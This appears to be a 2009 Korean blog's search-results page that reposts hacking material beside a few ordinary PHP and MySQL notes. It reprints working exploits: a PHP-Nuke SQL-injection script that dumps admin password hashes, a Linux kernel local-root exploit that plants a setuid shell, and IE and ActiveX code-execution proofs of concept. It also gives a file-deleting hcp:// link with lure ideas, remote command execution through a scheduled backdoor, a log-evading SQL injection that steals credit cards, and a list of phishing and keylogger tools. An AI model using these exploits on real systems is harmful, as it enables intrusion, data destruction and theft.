Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2009/09/30 쉘코드 제작해주는 프로그램 소스
  2. 2009/09/30 PHP-Nuke 'cid' SQL Injection
  3. 2009/09/30 Linux Kernel PRCTL Core Dump Handling (>= 2.6.13 && < 2.6.17.4)
  4. 2009/09/30 IDAutomation Bar Code ActiveX Multiple Remote Vulnerabilities
  5. 2009/09/30 MS Internet Explorer (Print Table of Links) Cross-Zone Scripting PoC
  6. 2009/09/30 윈도우 XP의 버그를 이용하여 폴더내용 날리기 1
  7. 2009/09/30 리모트에서 명령어 실행시키기 -cmd에서
  8. 2009/09/30 IIS 서버의 SQL injection 공격시 로그 안남기기
  9. 2009/09/30 FTP의 보안 취약점 IRC Lecture -번역 : By Zenky
  10. 2009/09/30 MYSQL SQL문 정리
  11. 2009/09/30 PHP XML 파서
  12. 2009/09/30 PHP RSS 리더
  13. 2009/09/30 해킬툴 모음 입니다. 2008 버전 2
  14. 2009/09/30 전남 고흥의 어제, 오늘, 내일
  15. 2009/09/30 <남해안시대>-①`복합규제에 묶인 `블루오션'(펌)
  16. 2009/09/30 전남 고흥...분석하실수 있는 자료입니다
  17. 2009/09/30 사랑하는 사람과 함께 !!
  18. 2009/09/30 태광에서 !! 2
  19. 2009/09/30 국정원 8대 홈페이지 취약성, OWASP 10대 위협..알고계신가요?
  20. 2009/09/30 wwwhack(웹핵) 7
  21. 2009/09/30 중국의 All in One 해킹툴 1
  22. 2009/09/30 레지스트리에서 물리적인 메모리를 추출하는 소스
  23. 2009/09/30 Ptsec 툴
  24. 2009/09/30 메타 데이타....개념
  25. 2009/09/30 간단 배치파일 작성
  26. 2009/09/30 ShellExecute,WinExec,CreateProcess (IE 실행방법)
  27. 2009/09/30 웹페이지 프레임 포함 전체 소스 추출웹, HTML
  28. 2009/09/30 여러가지 훜 기법들과 탐지법들
  29. 2009/09/30 [자동 저장 문서]프로그래밍단에서 커널단 접근 및 프로세스 숨김
  30. 2009/09/28 수소연료 오토바이
/*
* [cdump 0.1 by PoWeR_PoRK of netric (http://www.netric.org)]
*  
*  Simple pipe driven utility for creating c-style char decs from binary
*  input. Can be of use for embedding shellcode etc in c sourcefiles.
*  Do "./shdump -h" for a usage overview.
*/

#include <stdio.h>

char usage[] =
"Usage: ./cdump [-h][-n <var name>][-u][-s <linesize>][-c [-cu]]n"
"Pipe driven utility for coverting binary data to c char declaration.n"
"Example: cat binfile | ./shdump -u -s 20 >> bin.cn"
"This adds the contents of binfile to bin.c in char declaration formatnn"

"-h <var name> See this usage overviewn"
"-n            Name of the char identifier (maxsize=30, default=foobar)n"
"-u            Set this to uppercase the hex outputn"
"-s <linesize> Set the maximum line size per byte input (default=10)n"
"-c            Comment the byte offsets into the outputn"
"-cu           Set this to uppercase hex chars in byte offset commentn";

int main(int argc, char **argv[])
{
  int i = -2,oldi, lsize = 10, ucase = 0, npar = 1, cc = 1, cmt = 0, cucase = 0;
  unsigned long place = 0;
  char c, vname[31];
  vname[30] = 0;
  strncpy(&vname, "foobar", 30);
 
  if(argc > 1){
    if(!strncmp(argv[1], "-h", 2)){
      printf("%s", &usage);
      exit(0);
    }
  
    while(npar <= 5 && npar <= (argc - 1)){
      if(!strncmp(argv[npar], "-n", 2)){      
        strncpy(&vname, argv[npar+1], 30);
        npar+=2;
      }else if(!strncmp(argv[npar], "-u", 2)){
        ucase = 1;
        npar++;
      }else if(!strncmp(argv[npar], "-s", 2)){
        lsize = atoi(argv[npar+1]);
        npar+=2;
      }else if(!strncmp(argv[npar], "-c", 2)){
        cmt = 1;
        npar++;
        if(npar <= (argc - 1)){
          if(!strncmp(argv[npar], "-cu", 3)){
            cucase = 1;
            npar++;
          }
        }
      }else{
        npar = argc;
      }
    }

  }

  if(strchr((char *)&vname, 37) != NULL){
    printf("Cheeky Bastard! :P (fmt exploitation not allowed)n");
    exit(0);
  }

  oldi = getchar();
  printf("char %s =n/* 0000:0000 */ "", (char *)&vname);
  while(oldi != EOF )
    {
        if( ucase == 0 ){
          printf("x%.2x", oldi);
        }else if( ucase == 1 ){
          printf("x%.2X", oldi);
        }
        if(cc >= lsize){
          if(cmt == 1){
            place += cc;
            if(cucase == 1){
              printf(""n/* %.4X:%.4X */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place));
            }else{
              printf(""n/* %.4x:%.4x */ ", *((unsigned short *)&place + 1), *((unsigned short *)&place));
            }
          }else{
            printf(""n");
          }
          printf(""");
          cc = 0;
        }
        cc++;
      oldi = getchar();
    }
  printf("";n");
  return 0;
}
2009/09/30 21:43 2009/09/30 21:43
#!/usr/bin/perl -w
use IO::Socket;

########################################
## THIS CODE PUBLIC NOW =))) ##
########################################
## __________ ___ ___ ##
## ______ __ __ ______/ | ##
## | _/ | / ___/ _ ##
## | | | /___ \ / ##
## |____|_ /____//____ >___|_ / ##
## / / / ##
########################################
## based on 'cid' sql injection vuln
## in Download module, more info about
## this vuln u can see here:
## http://rst.void.ru/texts/advisory10.htm
########################################
## work only on mysql version > 4.0
########################################
## tested on PHP-Nuke versions: 6.9, 6.0, 6.5
## C:>r57phpnuke.pl 127.0.0.1 /phpnuke/ admin
##
## server : 127.0.0.1
## folder : /phpnuke/
## aid : admin
##
## [~] prepare to connect...
## [+] connected
## [~] prepare to send data...
## [+] success
## [~] wait for reply...
## [+] w00t...
## [+] USER: admin
## [+] MD5 HASH: 5f4dcc3b5aa765d61d8327deb882cf99
##
########################################

if (@ARGV < 3)
{
print "################################################################n";
print " r57nuke-cid.pl - PHP-NUKE 'cid' sql injection exploitn";
print " by RusH security team // www.rsteam.ru , http://rst.void.run";
print " coded by 1dt.w0lf // r00t@rsteam.ru // 17.09.2003n";
print "################################################################n";
print " Usage:n";
print " r57nuke-cid.pl <host> </folder/> <aid>n";
print "n";
print " <host> - host for attackn";
print " </folder/> - PHP-nuke folder ( /phpnuke/ , /nuke/ or / for no folder )n";
print " <aid> - user aid , nick ( admin , blabla )n";
print "##################################################################";
exit();
}

$server = $ARGV[0];
$folder = $ARGV[1];
$aid = $ARGV[2];

print "n";
print "server : $servern";
print "folder : $foldern";
print "aid : $aidn";
print "n";
$success = 0;
$path_download = "modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20--";
$GET = $folder . $path_download;
print "[~] prepare to connect...n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] connect failedn";
print "[+] connectedn";
print "[~] prepare to send data...n";
print $socket "GET $GET HTTP/1.1n";
print $socket "Host: $servern";
print $socket "Accept: */*n";
print $socket "Http-Referer: http://microsoft.comn";
print $socket "User-Agent: Internet Explorer 6.0n";
print $socket "Pragma: no-cachen";
print $socket "Cache-Control: no-cachen";
print $socket "Connection: closenn";
print "[+] successn";
print "[~] wait for reply...n";
while ($answer = <$socket>)
{
#print "$answer";
if ($answer=~/(&cid=)(w)("><b>)($aid)(</b></a></font>)(.{0,20})(<font class="content">)(.{32})(</font>)/)
{
$success = 1;
print "[+] w00t...n";
print "[+] USER: $1 n[+] MD5 HASH: $6n";
}
}
if ($success == 0) { print "[-] exploit failed =(n"; }
2009/09/30 21:43 2009/09/30 21:43
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="nSHELL=/bin/shnPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/binn* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/coren";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00tn");
    printf("By: dreyer & RoMaNSoFtn");
    printf("[ 10.Jul.2006 ]nn");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entryn");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...n");
    system("/tmp/sh -i");
}

// milw0rm.com [2006-07-11]

2.6.17.4 이하 버젼은 다 뚤림
2009/09/30 21:42 2009/09/30 21:42
-----------------------------------------------------------------------------
IDAutomation Multiple Vulnerabilities
url: www.idautomation.com

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

In memory of rgod
-----------------------------------------------------------------------------
<b>IDAutomation Linear BarCode:</b> <object classid='clsid:0C3874AA-AB39-4B5E-A768-45F3CE6C6819' id='IDLinear'></object>
<b>IDautomation Datamatrix Barcode:</b> <object classid='clsid:DB67DB99-616A-4CAB-A3A1-2EF644F254E7' id='IDDataMatrix'></object>
<b>IDautomation PDF417 Barcode:</b> <object classid='clsid:E97EE6EB-7FBE-43B1-B6D8-C4D86C78C5A0' id='IDPDF'></object>
<b>IDautomation Aztec Barcode:</b> <object classid='clsid:eba15b30-80b4-11dc-b31d-0050c2490048' id='IDAztec'></object>
-----------------------------------------------------------------------------

<select style="width: 404px" name="IDAuto">
  <option value = "IDLinearOpt">IDAutomation Linear BarCode</option>
  <option value = "IDDataMatrixOpt">IDautomation Datamatrix Barcode</option>
  <option value = "IDPDFOpt">IDautomation PDF417 Barcode</option>
  <option value = "IDAztecOpt">IDautomation Aztec Barcode</option>
</select>

<select style="width: 404px" name="IDMethods">
  <option value = "SaveBarCode">SaveBarCode</option>
  <option value = "SaveEnhWMF">SaveEnhWMF</option>
</select>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
  On Error Resume Next
   If IDAuto.value="IDLinearOpt" And IDMethods.Value = "SaveBarCode" Then
    IDLinear.SaveBarCode "C:\IDLinearSaveBarCode.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDLinearOpt" And IDMethods.Value = "SaveEnhWMF" Then
    IDLinear.SaveBarCode "C:\IDLinearSaveEnhWMF.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDDataMatrixOpt" And IDMethods.Value = "SaveBarCode" Then
    IDDataMatrix.SaveBarCode "C:\IDDataMatrixSaveBarCode.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDDataMatrixOpt" And IDMethods.Value = "SaveEnhWMF" Then
    IDDataMatrix.SaveBarCode "C:\IDDataMatrixSaveEnhWMF.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDPDFOpt" And IDMethods.Value = "SaveBarCode" Then
    IDPDF.SaveBarCode "C:\IDPDFSaveBarCode.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDPDFOpt" And IDMethods.Value = "SaveEnhWMF" Then
    IDPDF.SaveEnhWMF "C:\IDPDFSaveEnhWMF.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDAztecOpt" And IDMethods.Value = "SaveBarCode" Then
    IDAztec.SaveBarCode "C:\IDAztecSaveBarCode.txt"
    MsgBox "Exploit completed!"
   ElseIf IDAuto.value="IDAztecOpt" And IDMethods.Value = "SaveEnhWMF" Then
    IDAztec.SaveEnhWMF "C:\IDAztecSaveEnhWMF.txt"
    MsgBox "Exploit completed!"
   Else
    MsgBox "Be safe..."
   End if
End Sub
</script>

# milw0rm.com [2008-05-14]
2009/09/30 21:42 2009/09/30 21:42
<!--
Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability

Author: Aviv Raff
http://aviv.raffon.net/

Summary

Internet Explorer is prone to a Cross-Zone Scripting vulnerability in
its “Print Table of Links” feature. This feature allows users to add to
a printed web page an appendix which contains a table of all the links
in that webpage.

An attacker can easily add a specially crafted link to a webpage (e.g.
at his own website, comments in blogs, social networks, Wikipedia,
etc.), so whenever a user will print this webpage with this feature
enabled, the attacker will be able to run arbitrary code on the user’s
machine (i.e. in order to take control over the machine).

Affected version

Internet Explorer 7.0 and 8.0b on a fully patched Windows XP.
Windows Vista with UAC enabled is partially affected (Information Leakage only).
Earlier versions of Internet Explorer may also be affected.

Technical details

Whenever a user prints a page, Internet Explorer uses a local resource
script which generates an new HTML to be printed. This HTML consists of
the following elements: Header, webpage body, Footer, and if enabled,
also the table of links in the webpage.

While the script takes only the text within the link’s inner data, it
does not validate the URL of links, and add it to the HTML as it is.
This allows to inject a script that will be executed when the new HTML
will be generated.

As I said in a previous post, most of the local resources in Internet
Explorer are now running in Internet Zone. Unfortunately, the printing
local resource script is running in Local Machine Zone, which means that
any injected script can execute arbitrary code on the user’s machine.

Proof of Concept

The following is an example of a URL which executes Windows Calculator:

http://www.google.com/?q=<script defer>new ActiveXObject(“Wscript.Shell”).run(“calc”)</script>
-->

<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>


# milw0rm.com [2008-05-14]
2009/09/30 21:42 2009/09/30 21:42
윈도우 XP의 버그를 이용한 사용자 시스템 파괴에서 자기 보호하기

마소가 버그 자체를 인정하고 있지 않으므로 이러한 버그를 유포해도 해결책이 존재 하
지 않습니다.

먼저 버그 조차도 있는지 없는지 모르시는 분들을 위해서 자기 XP 시스템을 점검할 수
있는 방법부터 설명합니다.

일단 c:/test 폴더를 만들고 지워져도 되는 파일을 몇개 가져다 놓습니다.

그리고 익스플로러 주소에 다음과 같이 입력합니다.

hcp://system/DFS/uplddrvinfo.htm?file://c:test*

그러면 헬프센터(도움말)이 뜨고 test 폴더아래의 파일은 홀랑 지워집니다.

c: 루트도 지워지고 다 지워집니다. 대신 시스템 파일은 지워졌다가 복구됩니다.

만일 해커가 html 파일에 meta 태그를 이용하여 간단히 xp 사용자의 폴더하나를 날려버
릴 수 있습니다.

<META HTTP-EQUIV=REFRESH        CONTENT= "1;
URL=hcp://system/DFS/uplddrvinfo.htm?file://c:test*">

메타태그로 1초후에 폴더 날리는 도움말 띄우도록 해버리는 겁니다.

또는

<a href="hcp://system/DFS/uplddrvinfo.htm?file://c:test*">성인 동영상</a>

야한 유혹이나 야한 사진 링크로 클릭하게 만들수도 있습니다.

플래시 파일을 이용하여 1프레임에다가

getURL("hcp://system/DFS/uplddrvinfo.htm?file://c:a*")
getURL("hcp://system/DFS/uplddrvinfo.htm?file://c:b*")
getURL("hcp://system/DFS/uplddrvinfo.htm?file://c:c*")
...

이렇게 해 놓으면 그 폴더들 몽창 날라가 버림니다.

만일 해커들이 야한 플래시 게임이라고 게시판에 이런 플래시 파일을 마구 올리거나 메
일로 html 페이지, 플래시 파일을 마구 보내면 그 중에 XP 사용자들 시스템 홀랑 말아
먹어버리는 겁니다.

시스템 파일은 보호가 되지만 일반 파일들은 몽창 다 지워져 버림니다.

공통으로 사용하는 프로그램들은 존재합니다. 그 프로그램들이 자료를 저장하는 폴더
를 겨냥하거나 설치된 경로를 겨냥하거나, 자료저장하는 폴더이름을 유추해서 이런 시
스템 파괴를 하면 어떻게 되겠습니까?

시스템 자체는 살아있지만 중요한 파일들 몽창 날리는 겁니다.

회사에서 캐드자료 열라 저장했는데 플래시 파일이 캐드버전별로 저장하는 폴더를 겨냥
해서 폴더내부 파일들 확 다 지워버리면 회사 망할 수도 있습니다.

마소는 인정조차 하지 않고 있으며 영문판 서비스팩에서 소리없이 수정했습니다. 각 나
라 버전의 서비스 팩이 나오면 고쳐지겠죠. 그러나 서비스팩 설치 안하고 쓰는 사람들
이 훨씬 더 많고 아직 서비스 팩나온지 몇일 안됬습니다.

이 상황에서 전 세계 XP 사용자들 대부분이 이 시스템 파괴에 노출이 되어 있는 것입니
다.

해결방법은 아래와 같습니다.

***해결방법***

1. 아래의 파일을 삭제하거나 이름을 바꾼다.
C:WINDOWSPCHEALTHHELPCTRSystemDFSuplddrvinfo.htm
- 원인이 되는 파일입니다. 도움말이 이 파일을 이용하면서 이러한 치명적인 결함을 노
출하고 있습니다.

2. 해당 파일에서 아래 코드를 찾아 삭제또는 수정한다.

var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" );
try
{
oFSO.DeleteFile( sFile );
}

이 부분을 찾아서 삭제하거나 아래와 같이 파일을 삭제하는 동작을 할 수 없도록 수정해
야 합니다.

var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" );
try
{
/***oFSO.DeleteFile( sFile );***/
}

이 내용을 보는 즉시 자신의 XP 시스템을 점검하고 문제를 해결하셔야 합니다.

호기심이 발동하더라도 위와 같은 HTML 파일이나 플래시 파일 만들어서 배포하면 바
로 해커되버리는 것이니 하셔서는 안됩니다.

자기 시스템 보호하라고 올리는 글입니다.

/*
모든 업데이트가 되있는 제 시스템에서는 지워지지 않았는데
다른분들 테스트 해보시고 이상이 있으면 코멘트 달아주세요
*/
2009/09/30 21:41 2009/09/30 21:41
리모트에서 명령어 실행시키기

전제조건은 이미 명령을 실행시키려는 서버의 계정이있어야하고 목표 서버는 Netbios 서비스가 실행되어야합니다.
먼저 타켓컴퓨터와 연결을 합니다.

C:net use \targetipc$ “Password” /user:UserName

실행시키려는 프로그램을 타겟서버에 복사해넣습니다.

C:copy D:toolsncx99.exe \targetc$system32

타켓서버의 schedule 서비스를 열어놓습니다.
C:netsvc schedule \target /star
여기서 윈도우2000 이상부터는 디폴트로 스케쥴서비스가 열렸기에 이 작업이 필요없습니다.

타켓서버의 시간을 알아냅니다.

C:net time \target
\target의 현재 시간은 2003-12-13 오후 2:22입니다

명령어를 스케쥴에 등록합니다.

C:at \target 2:24pm ncx99.exe

시간을 다시 확인합니다.

C:net time \target

\target의 현재 시간은 2003-12-13 오후 2:24입니다

연결

C:telnet target 99

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:>
2009/09/30 21:39 2009/09/30 21:39
요즘 해킹의 화두는 바로 SQL에 있다. 예전에는 OS 자체에 대해 연구를 해서 버그/익스플로잇을 찾아 내어 작업하곤 했다.

하지만, 어느 때부터인가 Php부터 해서 asp에 이르기 까지 웹 서비스의 취약점에 대해 논의가 이루어지고,

드뎌 지금에서는 SQL과 같은 서비스들이 수난을 당하고 있다.

우리의 멋장이 종량씨가 SQL Injection에 대한 자료를 분석했지만,

아쉽게도 IIS 로그에 그러한 작업을 남기지 않게 하는 방법이 있어 소개한다.

대부분 이 글을 보면 아항~ 하고 알 수 있을 것이다.

telnet을 이용하여 서버를 웹브라우저가 아닌 텍스트로 덤벼보자.

Normal Request
GET /?id=80
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: TestServer

로그파일을 보면.
2005-08-10 16:35:32 172.16.10.3 - 172.16.10.111 80 GET /Default.asp id=80 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)

거의 대충 보면 알수 있다. 걍 홈페이지 연거다.

문제는 /?id=80 여기 부분에 있다. 여기에다가 노가다작업을 함 해보자.

GET /?id=<알파벳 A를 4095번 입력>
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: TestServer

Logged Response (IIS 5.0 with default logging)
2005-08-10 17:21:29 172.16.10.3 - 172.16.10.111 80 GET /Default.asp ... 200 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)

Logged Response (IIS 6.0 with default logging)
2005-08-10 17:09:54 172.16.10.116 GET /Default.asp ... 80 - 172.16.10.3 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) 200 0 0

그렇다. 바로 압축 아니 함축의 의미인 ... 으로 변신한다.

4096바이트의 버퍼를 초과하게 되면, 로그 기능도 초과(?)한다.

그러면 어떻게 SQL Injection 공격을 할까 ?

당연히 다음과 같이 한다. 그러면 로그에는 아무것두 없다.

GET /?test=<알파벳 A를 4095번 입력>&id=1'+UNION+ALL+SELECT+Names,Address,OrderId,CreditCard+FROM+Orders+where+'1'='1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

그렇다면, 이를 막는 방법은 뭘까? 우리가 애용하는 URLScan을 통해

버퍼의 크기를 제한하여 막을 수 있다.

MaxQueryString=2048

다 알테구... 흠. 할말 없다.


누가 좋은 사이트좀 갈쳐줘여. 나도 함 공격좀 해보게.

그럼.

참고사이트 : http://www.webappsec.org/projects/articles/082905.shtml
2009/09/30 21:37 2009/09/30 21:37
FTP의 보안 취약점 IRC Lecture
Lecture Log
May 18th 2002
Write : By Vegas
번역 : By Zenky(zenky77@hananet.net)
2009/09/30 21:33 2009/09/30 21:33
* 데이터베이스 또는 테이블 보기
SHOW DATABASES;
SHOW TABLES;

* 데이터베이스 생성하기
CREATE DATABASE 데이터베이스명;

* 테이블 생성하기
CREATE TABLE 테이블명 (컬럼명1, 컬럼명2, 컬럼명3, ..., 컬럼명N);

* 데이터베이스 사용
USE 데이터베이스명;

* 데이터베이스 삭제하기
DROP DATABASE 데이터베이스명;

* 테이블 삭제하기
DROP TABLE 테이블명;

* 테이블에 새로운 컬럼 추가하기
ALTER TABLE 테이블명 ADD 컬럼명 자료형;

* 데이블의 특정 컬럼을 변경하기
ALTER TABLE 테이블명 CHANGE 변경전명 변경후명 자료형;

* 테이블에 특정 컬럼을 삭제하기
ALTER TABLE 테이블명 DROP 컬럼명;

* 테이블에 데이터 추가하기
INSERT INTO 테이블명 (컬럼1, 컬럼2, ..., 컬럼N) VALUES (데이터1, 데이터2, ..., 데이터N);

* 테이블 구조 살펴보기
DESCRIBE 테이블명;

* 원하는 항목 표시하기
SELECT * FROM 테이블이름;
SELECT 컬럼1, 컬럼2, ...컬럼N FROM 테이블이름;

* 조건하에 항목 표시하기
SELECT id, name, email FROM memo WHERE sex = 'M' AND math > '70';

* 순서대로 표시하기
// 오름차순
SELECT name, phone FROM memo ORDER BY 컬럼명 ASC;
// 내림차순
SELECT name, phone FROM memo ORDER BY 컬럼명 DESC;

* 원하는 갯수만큼 가져오기
// 위에서 4개만 가져온다.
SELECT * FROM memo LIMIT 4;
// 3번부터 4개를 가져온다.
SELECT * FROM memo LIMIT 2, 4;

* 데이터 개수 알아내기
SELECT COUNT(*) FROM data;

* 특정조건에 해당되는 데이터 갯수 구하기.
SELECT COUNT(*) FROM data WHERE sex = 'F';

* 검색을 통해 데이터 가져오기
SELECT * FROM student WHERE name LIKE '인민%';

* 자료 업데이트 하기
UPDATE 테이블명 SET 컬럼 = 값, ... WHERE 조건문

* 자료 삭제하기
DELETE FROM 테이블명 WHERE 조건문;

2009/09/30 21:32 2009/09/30 21:32

PHP XML 파서

프로그래밍/PHP 2009/09/30 21:31
php5에서는 xml lib를 제공하지만 4.x는 제공하지 않는걸로 알고있습니다.
결국 xml파서를 만들어 사용해야는데요.
고맙게도criticaldevelopment.net 에서 GNU라이센스를 사용하여 배포하고있습니다.

참고문서 : http://www.criticaldevelopment.net/xml/doc.php

파일다운

1. 속성
tagData : 태그값
tagAttrs : 태그 속성값
tagParents : This member contains the number of parents this object has before the document root. This number, currently, is only used to determine how many tabs are required to nicely format the XML output.
tagChildren : This member is an array of references to all of the direct child tags of the given object, in order of occurance in the XML document. It is simply an alternative to accessing the children tags by their names, and is used when names are arbitrary or unknown.
tagName : This member contains the name of the current tag. Again, it is only used internally for the proper output of the XML document.

2. 예제 xml

<?xml version='1.0' encoding='utf-8'?>
<Widget>
<WidgetPrefs>
<title>제목</title>
  <directory_title>디렉토리제목</directory_title>
 </WidgetPrefs>
 <Content src="index.html"></Content>
</Widget>

3.사용법

<?php
//기본적으로 들어가는 부분
include "parser_php4.php";                       // 클래스 파일 include
$xml = file_get_contents("./ex.xml");         // 파싱할 대상XML 가져오기
$parser = new XMLParser($xml);             // 객체생성 parser라는 객체를 생성함
$parser->Parse();                                  // Parse()메소를 호출하여 xml을 dom 방식으로 파싱함

//파싱된 xml결과값을 사용하는 방법
echo $parser->document->widgetprefs[0]->title[0]->tagData;
 // 타이틀 데이터를 가져올때 (하나의 데이터를 지정해서 가져올 경우)
// "위젯 제목을 제공하는~~" 출력됨
echo $parser->document->content[0]->tagAttrs['src'];
 // 속성값 가져오기
 // "index.html"이 출력됨 
echo $parser->GenerateXML();              
// 위 ex.xml과 똑같은 xml 문서가 출력됨
?>

2009/09/30 21:31 2009/09/30 21:31

PHP RSS 리더

프로그래밍/PHP 2009/09/30 21:30
PHP로 구현된 간단한 RSS리더 입니다.
lastRSS라는 사이트에서 GNU 라이센스로 배포하고 있습니다. (망했나보네요.. 사이트가 closed..)
사용법은 제가 나름 사용해봤본 소스입니다.

다운로드

1. 사용법
<?php
include "./lastRSS.php";
// -------------------------------------------------------------------
// 출력할 라인수를 결정합니다.
$line = 50;
// -------------------------------------------------------------------
// 설정 URL을 지정합니다.
$rssurl = "";
// -------------------------------------------------------------------
// rss설정
$rss = new lastRSS;
$rss->cache_dir = './cache/';   //케쉬를만들 폴더설정
$rss->cache_time = 0;     //케쉬생성주기
$rss->cp = 'UTF-8';      //인코딩
$rss->date_format = 'y-m-d';   //날짜형식 년월일
   
if ($rs = $rss->get($rssurl)) {
  $i=0;
  foreach($rs['items'] as $item) {
// -------------------------------------------------------------------
// 인코딩및 cdta 태그를 지우는 부분입니다.
   $item[link]=str_replace("<![CDATA[", "",$item[link]);
   $item[link]=str_replace("]]>", "",$item[link]);
   $item[link]=iconv('UTF-8', 'EUC-KR', $item[link]);
   $item[title]=str_replace("<![CDATA[", "",$item[title]);
   $item[title]=str_replace("]]>", "",$item[title]);
   $item[title]=iconv('UTF-8', 'EUC-KR', $item[title]);
   $item[description]=str_replace("<![CDATA[", "",$item[description]);
   $item[description]=str_replace("]]>", "",$item[description]);
   $item[description]=iconv('UTF-8', 'EUC-KR', $item[description]);
   $item[author]=iconv('UTF-8', 'EUC-KR', $item[author]);
   $item[category]=iconv('UTF-8', 'EUC-KR', $item[category]);
// -------------------------------------------------------------------
// 출력 HTML 부분
   ?>
    제목 :  <?=$item['title']?>   <br/>
    링크 :  <?=$item[link]?>   <br/>
    내용 :  <?=$item[description]?>  <br/>
    작성자 : <?=$item[author]?>   <br/>
    작성일 : <?=$item[pubDate]?>   <br/>
    <br/><br/>
   <?
// -------------------------------------------------------------------
// 라인수결정
   if($i++ > $line-2) break;
  }
}
// -------------------------------------------------------------------
// RSS경로가 잘못되거나 열수 없을때
else {?>
경로를 찾을수 없거나, 서버를 찾을수 없습니다.
<?
}
?>
2009/09/30 21:30 2009/09/30 21:30

통상적으로 해킹 툴 90%는 백신에서 바이러스로 인식합니다.

Includes :

  • AddrView.rar
  • AnonFTP.zip
  • AOL new.rar
  • AppToService.rar
  • arpinject.zip
  • aspack21.zip
  • Astaroth Joiner v2.rar
  • atk-2.1.zip
  • BankOfAmerica.rar
  • bios_pass_remover.zip
  • BlasterW32.zip
  • blue.zip
  • bmpripper.zip
  • brutus.zip
  • Cable Modem Sniffer.rar
  • CapKeys_DIGITAL.rar
  • CASXM138.zip
  • CAYZODQF.zip
  • CGI Founder v1.043.zip
  • cgis4.zip
  • CGISscan.zip
  • cia10.zip
  • cports.rar
  • craagle.zip
  • Crackftp.zip
  • CreditCardGjenerator.rar
  • Davs_TR_REtail.zip
  • DDL Sites.rar
  • DeepUnFreez.zip
  • DrVBS.zip
  • eBay.rar
  • EESBinder.zip
  • egold.rar
  • E-mail Cracker.rar
  • ezDataBase_Defacer.rar
  • F.B.I - Binder.rar
  • FTP Brute Forcer.rar
  • ftpbr.zip
  • ~Censored~ Mail Bomber 2.3.rar
  • G00B3RS_phpBB_exploit_pack.rar
  • genxe-beta-0.9.0.zip
  • Google_Hacker_1.2.rar
  • grinder1.1.zip
  • Hack FLASH Template.zip
  • Hack MY Space.zip
  • Hack Photoshop CS2.zip
  • HackersAssistant.zip
  • HackTheGame.zip
  • hck.zip
  • hlboom.zip.zip
  • Hook Tool Box.rar
  • Hotmail Email Hacker.rar
  • Hotmail HAcker Gold.rar
  • Hotmail ScamPage.zip
  • HotmailHack.rar
  • HSBC-US.rar
  • hydra-4.6-win.zip
  • iecv.rar
  • IP2.rar
  • ipnetinfo.rar
  • john-17w.zip
  • Key Changer.rar
  • Key_Logger.zip
  • Legion NetBios Scanner v2.1.zip
  • Mail Boomb_2.0 YAHOO.zip
  • MIDNITEmassacre.zip
  • MooreR Port Scanner.rar
  • MSN Flooder 2.0.rar
  • MSN Messenger Account Cracker v2.0.rar
  • MSNLoader.rar
  • NET BIOS Scaner.rar
  • NetBIOS Name Scanner.rar
  • NetResView.rar
  • NFO Maker 1.0.zip
  • Nimda.zip
  • nkedb.zip
  • nolimitcracker.rar
  • NTPacker.zip
  • nts.zip
  • NullAddFrontend.zip
  • On-Off MSN.rar
  • OS Update Hack.rar
  • P0kes WormGen 2.0.zip
  • panther.zip
  • PayPal.rar
  • PCAnyPass.rar
  • Php Nuke Hacker v11.0.rar
  • phpBB Annihilator.rar
  • phpbb attack.rar
  • phpbb bruteforcer.rar
  • PhpBB pass extractor.zip
